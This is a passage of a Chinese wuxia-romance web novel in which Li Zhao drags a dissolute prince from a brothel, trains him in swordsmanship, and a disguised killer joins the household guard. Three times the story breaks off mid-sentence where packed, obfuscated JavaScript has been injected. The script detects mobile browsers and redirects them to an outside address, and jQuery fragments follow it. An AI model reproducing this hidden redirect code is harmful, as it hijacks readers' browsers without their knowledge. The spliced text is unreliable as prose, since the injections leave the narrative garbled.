那醉汉浑不在意,反而咧嘴一笑,直接松开怀里的姑娘,涎着脸凑近,舌头打结地嚷道:“嘿嘿,小美人儿脾气还挺爆,需不需要哥哥们送你回家啊。”
说着,一只肥腻的大手就要朝黎昭脸颊摸去。
“唉哟哟!痛痛痛!”咔嚓一声脆响,伴着一声凄厉地哀嚎。
黎昭嫌弃地两指捏住他的手腕,看似轻巧的一拧,却让人高马大的男人立马白了脸。
剧痛激得赵宁海酒意醒了大半,冷汗涔涔而下。
他又痛又怒,嘶声道:“你知道老子是谁吗?”
“我爹是漕帮青龙堂堂主,你敢动我一根手指头,信不信我让你这小娘们在云州混不下去!”
黎昭全然无视赵宁海的威胁,左手随意一搡:“都说了,让开。”
赵宁海踉跄着撞在同伴身上,接连带倒几人,哀嚎声一时响成一片。
大堂内鸦雀无声。
那些原本意欲上前凑热闹的人,此刻纷纷噤若寒蝉,自动让开一条通路,就连想要上前劝解的老鸨也僵着满脸的脂粉笑容愣在原地。
黎昭环顾了一圈,未见到萧怀翊的身影,于是回头问道:“萧怀翊人呢?”
藏锋心有余悸,甚至都没注意方才黎昭直呼了王爷的名讳。
他回道:“王爷在楼上雅间。”
心中暗自祈祷,只盼待会儿自家主子能够收着点性子,可千万别再惹黎姑娘发火了。
楼下的吵闹被厚重的门帘隔绝,三楼雅间内自成一方静谧天地。
名贵的沉水香袅袅升腾,氤氲出丝丝缕缕的甜腻香气。
红绡端坐于琴案之后,纤纤玉指轻拢慢捻,流淌出的琴音如月下幽泉,与怡香楼的纸醉金迷格格不入。
她的目光不由自主地落在靠坐在窗边闭目小憩的男子身上。
整个云州城都道这位小王爷是个荒唐纨绔,不思进取,日日只知道流连秦楼楚馆,沾染了一身的酒色财气。
红绡在怡香楼迎来送往这么多年,见过的贵胄公子不知凡几,那些或故作清高,或急色贪婪的眼神,她早已看透。
可眼前这位贵人……
红绡指下微颤,琴音错了一拍。
他一连来了几日,总是要这间最僻静的雅阁,点最烈的酒,然后便倚在窗边,大多时候都在闭目养神,清醒时便安静地看着楼下街市的灯火人流。
他听她弹琴,却从不多言。
他身上总带着酒气,时常酩酊大醉,但那酒气之下,似乎没有半点欢愉。
红绡弹的那些曲子,不管是缠绵悱恻还是激昂清越,落在他耳中,都如同石沉大海,激不起任何涟漪。
红销从未见过像他这样的男人。
更何况,他还生得那样好看。
她心念微动,正欲开口,雅间的门被人轻轻推开。
藏锋苦兮兮的脸探进来,随即侧身让开,一名素衣青衫的女子走了进来。
那女子的容貌生得明媚,眉眼间却好似寒星映水,即使隔着几步距离,红绡也能感受到那种不同于寻常闺阁女子的飒爽。
红绡下意识停了拨弄琴弦的手,琴声戛然而止。
萧怀翊并未睁眼,嗓音里带着浓重的醉意:“怎么停了?”
藏锋看看黎昭,又看看榻上的主子,一时间不知道要说什么话好。
还是黎昭率先开口,清凌凌的声音划破满室旖旎:“王爷好雅兴。”
沉香缭绕的软榻上,男人支着额角的修长手一滞,随即缓缓抬起眼帘。
醉眼朦胧间,黎昭的身影清晰地倒映在他的瞳孔深处。
萧怀翊眼尾薄红,目光似沾了酒气的游丝,轻飘飘从她身上掠过。
“哦?黎姑娘。”他含混地问候了一句,宿醉后的声音听起来有些低哑:“什么风把您的大驾吹到我这儿来了?”
“郡主忧心王爷安危,遣我来请王爷回府。”黎昭开门见山,视线扫过案上倾倒的酒盏,微不可察地蹙了下眉。
想起方才答应过藏锋尽量不动手,黎昭尽量耐着性子劝道:“烟花之地终非久留之所,纵情声色亦非君子所取。”
君子?
像是听到了什么极有意思的事,那双沾染着酒意的桃花眼中,渐渐漫上了星星点点的笑意。
可若细看,那笑意并未达眼底。
他差点忘了,她素来欣赏的,一直便是那种光风霁月端方守礼的君子,譬如那位她一直放在心尖上的大师兄。
萧怀翊整个人又往软塌里陷了陷,懒洋洋地开口:“黎姑娘这话说与我听怕是找错人了,在下区区一个俗人,可从来都不是什么君子。”
不知道是不是之前和慕怜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592497|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟待久了,黎昭现在听谁讲话都觉得有那么点儿阴阳怪气。
她压下心头的不痛快,声色转冷:“你要如何才肯回去?”
萧怀翊指了指矮几上那壶还未开封的烈酒,目光轻佻地在黎昭脸上流连,继续火上浇油:“想让我回去?倒也容易。”
“黎姑娘陪本王喝一杯,喝高兴了,本王或许自然就跟你回去了。”
黎昭瞧着他这副做派,面上却还得维持着心平气和,只觉得这年头银钱是真难挣。
她懒得再跟他废话,径直走向矮几。素手执起酒壶斟了一杯,不等酒沫散尽,便仰头一饮而尽。
黎昭将空杯亮出,烈酒入喉的灼热令她眼底泛起一层薄薄的水光。
她其实酒量很浅,喝不了几杯就容易醉。
“喝完了,这下可以走了吧。”
萧怀翊却低低地笑出声来,他摇了摇头,眼尾扫向一旁静立的红绡:“红绡姑娘,看来黎姑娘似乎不太不懂什么叫作‘陪’人饮酒。你来教教她,在这里,姑娘家陪人饮酒,是怎么个陪法?”
听到问话,红绡不敢怠慢,微微福身,语调轻柔婉转:“回王爷的话,在怡香楼里,姑娘们陪饮,讲究的是个情趣。或是交杯换盏,唇齿相依;或是含酒哺渡,情意绵绵。总之,是要亲近些,才算尽了心意。”
红绡说完,便立刻低下头,心中忐忑不安。
不知为何,她总觉得方才这位黎姑娘一进来,那小王爷整个人就像是变了个人似的,言语间的轻佻刻薄,倒像是在故意招惹什么。
藏锋听得脸都白了,后背沁出一层薄汗,王爷这是疯了吧,怎么能这般折辱黎姑娘呢?
他余光紧紧锁住黎昭的身影,如果黎姑娘待会儿冲上去把王爷大卸八块的话……
藏锋下定决心,那他一定也要冲上去,替王爷好好收尸。
雅间里静得能听见烛芯爆开的轻响。
就在萧怀翊以为黎昭会拂袖而去时,却见那人忽而展颜一笑,笑容如春风拂冬雪,摄人心魄,一时间晃花了人眼。
微醺的酒意染湿了她的眼眸,黎昭眼波一转,望向萧怀翊:“好啊。”
藏锋愣住了。
萧怀翊更是猝不及防,瞳孔微微放大,他眼睁睁地看着黎昭重新执起酒壶,又倒了一杯酒。
酒液在瓷杯中漾起细碎的涟漪。
她端着那杯酒款步走来,短靴踩在地毯上明明寂然无声,但每一步都像是踏在人的心弦上,心跳被彻底搅乱,在寂静中轰然作响。
她俯身靠近,清冷的幽香裹着酒气袭来,将他困在方寸之间。
萧怀翊这才堪堪捡回几分意识。
陌生又熟悉的悸动下是一种难以名状的恐慌,如同燎原野火几乎快要烧尽所有理智。
黎昭一手端着酒杯,另一只手似不经意地轻轻搭在萧怀翊垂在身侧的手腕上。
指腹下的脉象又急又乱,透着醉酒特有的虚浮无力,细察之下,确确实实没有习武之人应有的内劲流转的迹象。
咦?
萧怀翊当真没有内力?
她抬起眼,男子昳丽的面容近在咫尺,不知是酒意上涌还是别的缘故,白玉般的肌肤正透着异样的潮红,连耳根都染上了绯色。
黎昭有片刻失神,不得不说,这人的确有当风流纨绔的资本。
这份恍神转瞬即逝。
既然没有内力......黎昭心中有了决断,那干脆直接打晕带走便是,省时省力。
她举杯浅抿了一口酒,假意凑近萧怀翊,而另一只手,则在他视线不及的阴影里,悄然凝起手刀,蓄势待发。
两人越靠越近,就在黎昭手刀即将落下的前一刻——
萧怀翊猛地推开黎昭,动作仓皇,甚至打翻了榻边小几上的空酒盏。
瓷盏坠地的声响中,他踉跄着起身,喉间滚出的嗓音沙哑得厉害:“够了。”
萧怀翊夺门而出,几乎是落荒而逃。
而留在原地的黎昭,愣了好半天才渐渐回过味来。
她眨了眨眼,眼底的错愕渐渐化开,一丝极淡的笑意浮上唇角。
这位传闻中万花丛中过的小王爷,怎么这么不禁撩呀。
7. 教他习武
夜凉如水。
暖阁内烛光摇曳,暗香浮动。
有人推门而入,又将门轻轻掩上。
萧怀翊望过去,果不其然对上了一双清亮含笑的眼眸,那人踩着细碎的步子一点点走近,发间若有似无的清幽冷香落在呼吸之间。
她低下头,温软的气息贴着他的耳廓拂过,轻声吐出几个字。
心口好似被什么烫了一下,他不可置信地抬眼。
素净白皙的手轻柔地捧住他的脸,激起一阵隐秘的颤栗。黎昭目光灼灼,并没有往日里的虚情假意,眼底像是春水融化的湖,波光一荡,便漾开勾魂摄魄的涟漪。
他被困在这片深不见底的潋滟水光中,逃不开,躲不掉。
偏生那人毫无所觉,素手仍不紧不慢地游移着,一路向下,缓缓探向他领口处的衣襟。
“看清楚了,我是谁?”他一把握住她作乱的手,喉结艰难地滚动了一下,嗓音干涩得厉害。
黎昭笑起来,盈盈宛若花开,红唇轻启:“你是……”
他忽然不想知道了。
*
萧怀翊强行逼着自己从这场不切实际的荒唐大梦中醒来。
他平复了几息,睁开眼时,天色将明未明,只泛起一线微光,尚未透亮。
萧怀翊翻了个身,却再也寻不回半点睡意。
只要一阖眼,方才梦里的种种便浮现在眼前,如魇似魅地在脑海里反复纠缠。宿醉的钝痛仍在额角隐隐作祟,偏又添了这纷乱心绪,搅得他筋疲力尽。
他索性披衣起身。
院内老树枝头传来几声清脆的鸟鸣,细听之下,除此之外似乎还藏有一道更为锐利的刀锋破空之声。
萧怀翊眼皮一跳,推开房门。
沾染着露水草木气息的风迎面灌入,吹散了心头郁结整夜的躁意。
晨间的薄雾缭绕,朦胧中,只见黎昭一袭月白劲装,墨发高挽,手中长刀翻飞,刀刃破开雾气,发出嗡嗡地颤鸣。
不过短短数年,她已将孤影刀使得出神入化,任谁都看不出来这曾是一个经脉俱废的剑客。
黎昭很强,他一直都知道。
他见过黎昭最狼狈不堪的样子,更清楚她是如何从泥沼中一寸寸将自己挣出。
萧怀翊不知不觉间晃了神。眼前身影逐渐与无涯谷的旧影重叠,刀光雾影间,一时竟叫人辨不清今夕何夕。
慑人的嗡鸣声戛然而止。
黎昭收住刀势,蓦然察觉到一道再熟悉不过的视线,像是穿透了薄薄晨霭,跨越了漫漫时光。
心口处没来由地一缩,一丝连她自己都曾发现的隐秘期许自心底悄然升起。
她猛地转头。
雾霭散尽,熹微的晨光清晰地勾勒出一道颀长的身影,墨色锦袍松散地披在那人身上,矜贵的面容犹带宿醉未消的疲惫,眼下泛着淡淡的青痕。
并非故人。
心中那点不期然的悸动一点一点地沉寂下去。黎昭垂下眼睫,缓缓将孤影刀收回鞘中。
萧怀翊早已恢复了一贯的吊儿郎当,斜倚在门边,眼神悠悠停在她脸上,看了一会儿,认命般地叹了口气。
“黎姑娘,怎么又是你呀。”
黎昭几步走到他近前,不知打哪摸出来一把铁梨木打磨而成的小木剑,丢了过去。
“奉郡主之命,自今日起,每日卯时至辰时,由我来教你习武强身。”
萧怀翊正因那句“习武强身”而皱眉,几乎是本能地抬手一抓,五指稳稳扣住剑柄。
黎昭眉梢一挑,目光若有所思地在他握剑的手上停留了一瞬,随即不着痕迹地移开。
萧怀翊嫌弃地掂了掂手中的剑,兴致缺缺:“不学,我这人素来最讨厌这些打打杀杀的事。”
装,继续装。
黎昭在心中冷笑,都在枕头下藏刀了还在这里装什么柔弱白莲花。若不是萧云禾许下的报酬太诱人,这等麻烦差事她才懒得沾手。
不就是演戏么,谁不会啊。
黎昭面带讶异:“王爷这是哪里的话?如若没记错,那夜您分明是自枕下取出的匕首,连睡觉都放利刃在枕边,想来必定是位惜刀之人。况且……”
她刻意顿了顿,好整以暇地欣赏着萧怀翊眼中一闪而过的僵硬:“当时王爷身手那样敏捷,如此惊奇的根骨,实乃习武的绝佳资质,这般天赋,还是不要白白埋没得好。”
萧怀翊的神情微妙地一滞,他差点儿忘了还有这一茬。
黎昭其实没想着非要撕破脸戳穿他。
只是想起昨夜萧云禾提到萧怀翊时那副忧心忡忡的模样,那位金尊玉贵的郡主,为了自家兄长可谓是操碎了心。
“若他实在不听,便请姑娘多费点心。”
在这世间,若还能有亲人这般真心实意地牵挂着,该是何其幸运。
有些人还真是身在福中不知福。
“萧怀翊。”黎昭望向他,眼眸中难得映出几分真心。
“郡主她很担心你。整日流连酒肆,再好的底子也经不住这般消磨,她既然有托于我,我不好辜负。”
微凉晨风里,黎昭微微仰起脸,有细碎的日光落在她眼中,他看见了自己清晰的倒影。
萧怀翊错开眼,不再去看她。
“真麻烦。”他提着剑往外走。
黎昭不明就里,在他身后喊道:“哎,你去哪?”
萧怀翊没回头,只是淡声道:“不是要教我习武吗,开始吧。”
黎昭先是一愣,而后眉眼弯了弯,快步跟了上去。
她好像发现,这位嘴上不饶人的小王爷原来是个吃软不吃硬主。
二人在庭院中央站定。
黎昭对萧怀翊说道:“习武先修心,强身需养气。今日教你两式基础剑招,动作不必求快,着重体会气息流转。”
随后以刀代剑,一边示范,一边向他讲解着心法要诀:“气息沉于丹田,随势而动,意守中正……”
萧怀翊起初还好生听着,但越听越觉得不对劲。
随着她的动作越来越眼熟,几个呼吸后,他握着木剑的手倏地收紧。
虽然黎昭刻意简化了动作,但那独特的圆融意境和那股子温润平和的内息引导法门实在太过明显。
好好好。
她可真行,居然教他沈云峥的功夫。
萧怀翊险些气笑,当年他留在无涯谷那么多武学秘籍,哪个不比沈云峥的功法好上千百倍,可到头来她还是只记得那个人。
“不学了。”萧怀翊冷着张脸,把剑一扔。
黎昭:“?”
她转过身,看到萧怀翊紧绷的侧脸时,不由一愣。
不是?谁又招他了?刚才不是还好好的?
她满头雾水:“又怎么了?”
萧怀翊现在心情极其不爽,言语上不免刻薄:“这功法磨磨唧唧,尽是些花拳绣腿,简直无用至极。”
黎昭听罢,只觉荒谬。
他懂什么啊。
悬镜宗的功法素来以修身养性温养经脉著称,是沈云峥师门的不传之秘。她能教他,他都得偷着烧高香才是,还敢在这里挑三拣四。
心里虽是那么想,可到底人在屋檐下,不得不低头。黎昭压下心头不快,耐着性子问道:“那王爷想学什么样的功法?”
学什么都行,唯独沈云峥的不行。
反正也不是真心想学,萧怀翊哼了一声,随口说道:“既要学,自当学些实用的。”
“最好能够瞬息之间定人生死,刀也好,剑也罢,一定要快,要狠,要的就是那股子酣畅淋漓的快意。”
快意杀意,不留余地......
黎昭怔了一下,这样的剑法,她曾在一个人身上见过。
那时她刚被慕怜舟捡回无涯谷不久,重伤未愈,连下床都困难。为了照料她的起居,慕怜舟破例雇了几名仆役,其中一个叫小荷的侍女,白日里总是对她嘘寒问暖,体贴入微。
直到某个夜晚,黎昭被门外的打斗声惊醒,她强撑着病体来到门口,只见两道身影在半空中缠斗在一处,其中一人白衣墨发,正是慕怜舟,而另一人竟是那个温顺乖巧的小荷。
但此时的小荷与平时的温顺模样判若两人,出手狠辣刁钻,招招致命。
慕怜舟却始终气定神闲,手中软剑如流光掠过,对方脸上薄如蝉翼的人皮面具落下,露出一张妩媚狠绝的容颜。
黎昭认得这张脸。
当年因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592498|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为自己临阵反水。九幽盟近乎覆灭,四使中唯有最擅易容伪装的千面狐侥幸遁走。
九幽盟的人皆是睚眦必报,这笔血债千面狐自然不会轻易罢休。只是千面狐自己恐怕也没想到,她那一手出神入化的易容术居然会被慕怜舟看穿。
恍惚间,黎昭好像听到千面狐怨毒地低咒了一句:“怪不得,原来是你。”
慕怜舟没有再给千面狐说话的机会。
黎昭甚至没看清他是如何出手的,只记得寒光一闪,九幽盟四使之一的千面狐,连一声惨叫都来不及发出,便直挺挺地倒了下去,喉间一点殷红缓缓晕开。
慕怜舟掏出帕子擦拭着软剑,眉宇间满是嫌恶,仿佛沾染了什么污秽之物一般。
黎昭蓦然想起,江湖中人人敬畏慕怜舟不仅因他武功卓绝,更因在当年在那场与九幽盟的鏖战中,是他亲手斩下了教主殷无欢的头颅。
这个人,似乎对九幽盟有着刻骨铭心的恨意。
慕怜舟拭净剑上血迹,冷不丁地抬眼扫过立在门边的黎昭。
他眼中杀意尚未完全褪去,冷冰冰的,看得人心头一凉。
黎昭头皮一阵发麻,如今江湖上关于她出身九幽盟的传闻甚嚣尘上,她不确定慕怜舟是否有听说过,究竟听到了多少。
如若让他知道她的真实身份……兄长至今下落不明,她绝不能死在这里。
她看到慕怜舟眉头越拧越紧,整个人愈发显得凶神恶煞。
黎昭的心渐渐凉下去。
“怎么不穿鞋?”他突然出声。
“啊?”
“我问你怎么不穿鞋。”他不耐烦地又重复一遍,听上去不太高兴。
黎昭一怔,下意识低头,才发觉自己原来赤足站在冰冷的石地上。方才惊醒时太过紧张全然未觉,此刻经他提醒,才慢慢感觉到一股寒意伴着湿冷的露气从脚底一路蔓延。
她不由自主地打了个哆嗦。
慕怜舟皱着眉,提着剑朝她走来,乍一看像是地狱里爬出来的索命修罗。
黎昭本能地往后退了一步。
慕怜舟的脚步倏然停住。
月光描摹出他清瘦的身形,有那么一瞬,他的神色比满院清辉还要冷清。
他嗤笑一声,语声凉薄:“冻死活该。”
“别指望我替你收尸。”
彼时黎昭还在心里暗想,这狗男人最好别等她好起来,等她伤好了,武功恢复了,谁替谁收尸还不一定呢。
却没想到,这话竟是一念成谶。
到头来,的确是她替他收的尸。
*
萧怀翊发现了黎昭的心不在焉。
他忽然觉得没意思起来。
绕过她正要离开,却听到黎昭忽然低声说了句:“这种功法不好,少学为妙。”
萧怀翊眼底浮起讥诮:“哦?哪里不好?”
反正说来说去,在她心里他永远都比不过沈云峥。
“我曾见过练这种功法的人。”
萧怀翊嘲讽道:“是么?那这人应当是站上了武林之巅。”
黎昭轻声开口:“他死了。”
慕怜舟的剑,又快又狠,不给敌人留余地,也不给自己留后路。
究竟是有怎样经历怎样的过往,才能创造出这般玉石俱焚的剑法。
黎昭忽然发现,朝夕相处这么久,她对他竟然一无所知。
不知为何,她有些疲倦,连带着教萧怀翊习武的心思也淡了下去。
“你说的那种功夫折寿伤己,我是不会教你的。”
“王爷既不愿学,今日便到此为止吧。”
*
黎昭离开后,萧怀翊目光落在地上那把被他扔掉的木剑,靴尖一勾,木剑便如长了眼一般稳稳落入掌中。
太久没握剑,他已经都快要忘了剑在手中是什么感觉了。
木剑在空中划出一道凌厉的弧线。
老树虬枝轻颤,几片树叶被剑气带起,复又簌簌飘落。
剑势骤停,萧怀翊垂眸看着剑尖。
伤己吗?他想了想。
好像是有点。
但很快他又哂笑一声。
无所谓,反正也从来没有人在意过。
8. 新侍卫
黎昭从萧怀翊的院子出来后,没走几步,忽然听到身后有人叫她。
“黎姑娘!黎姑娘留步!”
她回头一看,原来是王府的老管家李叔小跑着赶来。
李叔站定后,恭敬地欠了欠身。
他心底明镜似地,晓得眼前这位黎姑娘虽然明面上为王府侍卫,实则郡主待她一向以座上宾之礼相待,故而在态度上不敢有半分怠慢。
李叔抬手抹了把额头细汗,缓了口气,方才说道:“黎姑娘,前些日子府里不是说要再招些身强力壮的侍卫吗?今儿个人都到齐了。”
他不好意思地笑笑:“老奴想着黎姑娘身手不凡,特意来请您过去帮着掌掌眼。”
黎昭想起来好像是有这么一回事,于是应道:“人都在哪?”
“都在武苑候着呢。”李叔说着,忙侧身让出路来。
老南安王戎马半生,当年特意在府中东南角辟出一片区域当作武苑,只可惜自他过世后,这片地方便渐渐荒废了。直到前些日子府中闹出刺客一事,萧云禾这才命人重新拾掇出来,让黎昭闲暇时教侍卫们些拳脚功夫,好叫府中防备更严些。
只是这些年王府中人早已养惯了安逸,哪里经得住这般严苛的训练,一个个没练上两天就叫苦连天,这才有了后来招募新人的打算。
黎昭到的时候,十余名青年男子已经一字排开站好。她举目一个个扫过去,发现这其中既有膀大腰圆的壮汉,也有精瘦如铁的练家子。
李叔对自己挑的人很是满意,笑着解释道:“这些都是清白人家出身,有几个还正经拜过师门。”
黎昭未语,目光仍在众人间逡巡,最终停在站在最末尾的那名少年身上。
那人约莫十六七岁,身形瞧着比旁人瘦削许多,粗布短打松松垮垮地挂在身上,像偷穿了大人衣服的小孩,衣褶间空荡荡。
他肤色白净,乍一看倒像是个久居书斋的文弱书生,在一群晒得黝黑的壮汉中显得格外扎眼。
少年从始至终低垂着眼,仿佛对黎昭审视的目光浑然不觉。
黎昭走到他面前,淡声道:“抬起头来。”
那人肩膀一沉,像是被吓到,又不敢违抗,片刻后才依言缓缓仰起脸。
日光斜照下,一张乖顺的圆脸映入眼帘,眉清目秀,看上去人畜无害。
确实是个素未谋面的陌生人。
奇怪。
怎么总感觉这人在哪里见过。
黎昭不信邪,目光一冷,趁着那人毫无防备,右手自袖中疾探而出,直取那人右臂。
对方下意识抬手格挡,动作干净利落,显然不是泛泛之辈。但转瞬间,他便意识到什么,硬生生收住力道。
黎昭眼底冷意更深,反手扣住他的手肘,力道不轻不重地捏了两下,视线牢牢锁住那人表情,不肯放过一丝变化。
然而那人面上只是露出几分不解,神情茫然无辜,倒是没有预想中的忍痛神色。
薄薄布料下的皮肤平滑光洁,摸上去并没有任何受过重伤的痕迹。
当日那名刺客被她砍伤右臂,深可见骨,即便是大罗神仙来了也断无可能在这么短的时间内恢复如初。
难道当真是自己多心了?
黎昭松开手,似笑非笑:“练家子啊?”
听见问话,那少年立即垂首,恭谨回道:“回姑娘的话,小的之前曾自学过一些粗浅把式,上不得台面,让您见笑了。”
黎昭轻哼一声,也不知是信了还是没信。
她眯了眯眼,继续问道:“你叫什么名字?”
“小的姓贺,父母都是粗人,不识几个字,所以没取大名。因在家中排行十一,旁人都唤小的贺十一。”
李叔方才亲眼见了二人的交锋,心里直打鼓,见状来到黎昭身侧,用只有二人能听到的声音问道:“黎姑娘,此人可是有什么不妥之处?”
“贺十一。”黎昭在嘴里过了一遍这个名字,转头向李叔询问道:“登记册上可有这个人?”
李叔掏出名册,仔细核对了一番后说道:“确有此人。”
说着,他又翻过一页,看着姓名后面备注的那几行墨字道:“听人牙子说,是从城西赌坊赎出来的。家里欠了一屁股印子钱,实在没法子才把孩子抵了出去。那赌坊的打手教过他些拳脚,人牙子见咱们府上招人,就给领来了。”
李叔合上名册,微微叹了口气道:“倒也是个可怜人。”
不过感慨归感慨,招人这事还是得听黎姑娘的。
李叔敛正神色:“黎姑娘,这人可要留下?若是不妥,我这就打发人牙子领回去。”
若真被人牙子再领回去,怕是又要落入泥沼。
黎昭目光掠过少年单薄瘦削的身影,他低着头,像是怕惹人厌似的,神情木然,却仍带着几分倔强。
想到他方才利落的身手,黎昭唇角微抿:“算了,他功夫不错,既然身世清白,那便留下吧。”
贺十一闻言,眼皮轻轻动了一下。
“谢姑娘恩典。”
*
夜色融融,万籁俱寂。
一道黑影悄无声息地从王府侍卫所溜出,踏过青瓦无声,几个起落便越过重重庭院,来到听雨轩外。
耳房内值夜的婆子歪在矮榻上,头一点一点地打着盹,鼾声如雷。
那道身影顺着半掩的门扉一闪而入,门扇随即悄然合拢,仿佛从未有人来过。
空气里飘着淡淡的药香,来人不自觉皱起了眉。
屋内并未点灯,借着朦胧的月色,他勉强能看清青丝帐内睡着的人影。
唐芷侧身蜷在锦被里,素来在他面前冰冷倨傲的模样褪去,显出几分脆弱。
即使在睡梦中,她的眉眼也未曾完全舒展,眉心蹙在一团,叫人忍不住想要伸手抚平。
唐芷睡得并不安稳。
像是察觉到什么,她身体突然一颤,悠悠转醒。
床榻边的阴影里不知何时站了一个人。
眼底的惺忪睡意瞬时褪去,唐芷霍然撑起身子,张口就要唤人。
“阿芷,是我。”
刻意压低的熟悉嗓音赶在她出声前响起。
唐芷一怔,很快辨清来人,那点因乍然惊醒而泄露的脆弱霎时消散无踪。
短暂的讶异过后,她侧过头,冷冷地睨着那人:“路凌空,没有我的指令,谁准你擅自找过来的?”
想起他方才的称呼,她蹙着眉,嫌恶地补了一句:“还有,都说了多少次,不要叫我阿芷。”
路凌空抬起头,斑驳的月光透过窗纱照清他略显苍白的面庞,赫然正是那名白日里那名自称贺十一的少年。
似是想通什么,唐芷眉间浮现出一丝不悦:“振灵石的事我自会替你想法子,你着什么急?”
路凌空仿佛被无形的重锤击中,睫毛轻轻颤着,默了半晌才低声道:“不是为了振灵石。”
“你太久没来消息,那日又受了伤,我只是有点担......”
唐芷没耐心听他继续说下去,打断他的话,责怪道:你知不知道你今夜前来若是被王府的人撞见会给我带来多大麻烦?我这些日子周旋的心血可能全白费了。”
路凌空垂在身侧的手虚握成拳,嘴唇嗫嚅了两下,最终没再解释。
他轻声道:“阿……芷小姐,对不起。”
他顿了顿,又郑重向她承诺:“不会再有下次。”
唐芷还在生气,随手扯过外衫披上,起身时避开了路凌空想要来搀扶的手。
待看清他这一身侍卫服制后,没好气地问道:“哪弄来的衣服?”
路凌空僵在空中的手一滞,随后若无其事地放下。
他解释道:“南安王府近日在招募新的侍卫,我杀了一个叫贺十一的人,顶替了他的身份。”
听见他杀人,唐芷的眉再度拧起:“人处理干净了?”
路凌空这才露出一抹极浅的笑意:“我何时让你失望过。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592499|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
唐芷点点头,路凌空行事向来谨慎,确实没出过岔子。
“也罢,事已至此便暂且留下吧,以侍卫的身份行事反倒更方便些。”
路凌空眼神亮了亮,心中泛出一层层隐秘的欢喜,他总算又能留在她身边了。
他看向唐芷,略带关心道:“唐门那边后来可有为难你?”
那日他盗取振灵石未果,反被当场擒获身受重伤,如果不是唐芷自伤引开众人注意力,只怕他很难全身而退。
这些年唐门在江湖上的地位日渐式微,欲借朝廷之势东山再起,却又舍不得将正经小姐许配给顽劣不堪的南安小王爷,于是把歪心思打到了无依无靠的唐芷身上。
她因唐不夜之事自幼在门中备受欺凌,行事一向谨小慎微,日子原本就不好过。
此番宴会横生枝节,他实在忧心唐门会借此变本加厉地刁难她。
听到唐门,唐芷目光变冷,嘴角勾起一抹极讽刺的弧度:“我留在王府,那群老不死的高兴还来不及,怎会刁难?”
“他们还给我送来了醉生梦,巴不得我趁着这些日子爬上萧怀翊的床。”
这种下作的法子,不用想也知道定是唐菱那个蠢货在背后怂恿的。
醉生梦......路凌空眼神一黯。
他对唐门烈性媚药的名头自然有所耳闻,只一想到唐芷可能会被逼着用那等手段去接近那个草包王爷,嗓音不由发紧:“那你现下如何打算?”
唐芷根本没注意到身边人低落的情绪。
她嗤笑一声,姿态傲然:“那种下三滥的手段,也配我去用?”
“萧怀翊不过是一个扶不上墙的烂泥,指望靠他接近南安王府的核心?那才真是蠢到家了。”
说到这里,唐芷思绪飞转,思索着近来在南安王府探得的消息,语气愈发笃定:“那萧怀翊不过是顶着一个王爷的名头,难堪大用。平阳郡主萧云禾,才是这王府中真正手握权柄的话事人。”
她轻声笑了笑,伸手摸向颈间常年贴身佩戴的缠枝莲纹玉佩。
“父亲当年留下一只控心蛊,就温养在这枚玉佩之中,此蛊嗜玉而居,沉睡时与死物无异,极难被察觉。”
“虽对习武之人效用甚微,但用来对付萧云禾这等手无缚鸡之力的闺阁女子,却是再合适不过。”
眼底的光一点点跃动,平素寡淡的模样被野心染亮,整个人都仿佛鲜活起来,连带着原本不起眼的五官都生出了别样光彩。
“此蛊一旦唤醒种下,假以时日,萧云禾便会成为我掌中傀儡。届时,南安王府的势力尽归我手,我要让唐门上下皆匍匐于我脚下。”
唐芷越说越亢奋,内心的狂热几乎要燃成火。
她激动地转过身,不经意瞥到一旁的路凌空,却见他只是安静地站在原地看着她,眸色清浅,面上无波无澜。
高涨的情绪像是一脚踩空,她不由得怔了怔。
唐芷别扭地说道:“自然,到时候振灵石我也会帮你得到的。”
路凌空神色依旧温和,应得轻描淡写:“好。”
不知为何,唐芷心中窜起一丝烦躁。
她素来只相信这世间唯有共同的利益最是牢不可破。
路凌空需要振灵石续命。
那人本就是她从父亲暗道里捡回来的蛊人失败品,身体状态极不稳定。振灵石不过是当今圣上赏赐给南安王府的诸多珍宝之一,于这些王公贵族只是个消遣玩赏的玩意,于他而言却是救命稻草。
有谁会不在乎自己的性命呢?
他们是绑在一根绳上的蚂蚱,路凌空应当是不会背叛她的吧。
唐芷勉强将烦躁压下,重新扬起笑。
“路凌空。”
“我听府里下人说,过两日萧云禾会出门上香。你一定会帮我的,对吧?”
她的笑并不带半分温度。
路凌空却很开心,唇角不由自主跟着弯起,极轻地应了一声“嗯”。
9. 看你好看呀
晨光初上。
